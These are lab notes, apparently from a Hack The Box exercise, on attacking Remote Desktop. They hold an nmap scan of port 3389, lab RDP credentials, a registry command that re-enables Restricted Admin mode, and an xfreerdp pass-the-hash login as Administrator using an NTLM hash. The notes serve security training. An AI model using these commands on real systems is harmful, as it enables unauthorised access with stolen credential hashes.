Attacking RDP
May 24, 2024
Last updated
May 24, 2024
Last updated
# Nmap 7.94 scan initiated Sat May 25 18:41:19 2024 as: nmap -sC -sV -oN nmap -p 3389 -Pn 10.129.40.216
Nmap scan report for 10.129.40.216
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-05-25T10:41:39+00:00; +6s from scanner time.
| ssl-cert: Subject: commonName=WIN-01
| Not valid before: 2024-05-24T10:40:31
|_Not valid after: 2024-11-23T10:40:31
| rdp-ntlm-info:
| Target_Name: WIN-01
| NetBIOS_Domain_Name: WIN-01
| NetBIOS_Computer_Name: WIN-01
| DNS_Domain_Name: WIN-01
| DNS_Computer_Name: WIN-01
| Product_Version: 10.0.17763
|_ System_Time: 2024-05-25T10:41:36+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6s, deviation: 0s, median: 5s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 25 18:41:34 2024 -- 1 IP address (1 host up) scanned in 15.19 seconds
remmina
RDP to 10.129.40.216 with user "htb-rdp" and password "HTBRocks!"
This will enable the Pass the hash attack
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
Just try it repeatedly if it is not working the first time
xfreerdp /v:10.129.40.216 /u:Administrator /pth:0E14B9D6330BF16C30B1924111104824
User: Administrator
Hash: 0E14B9D6330BF16C30B1924111104824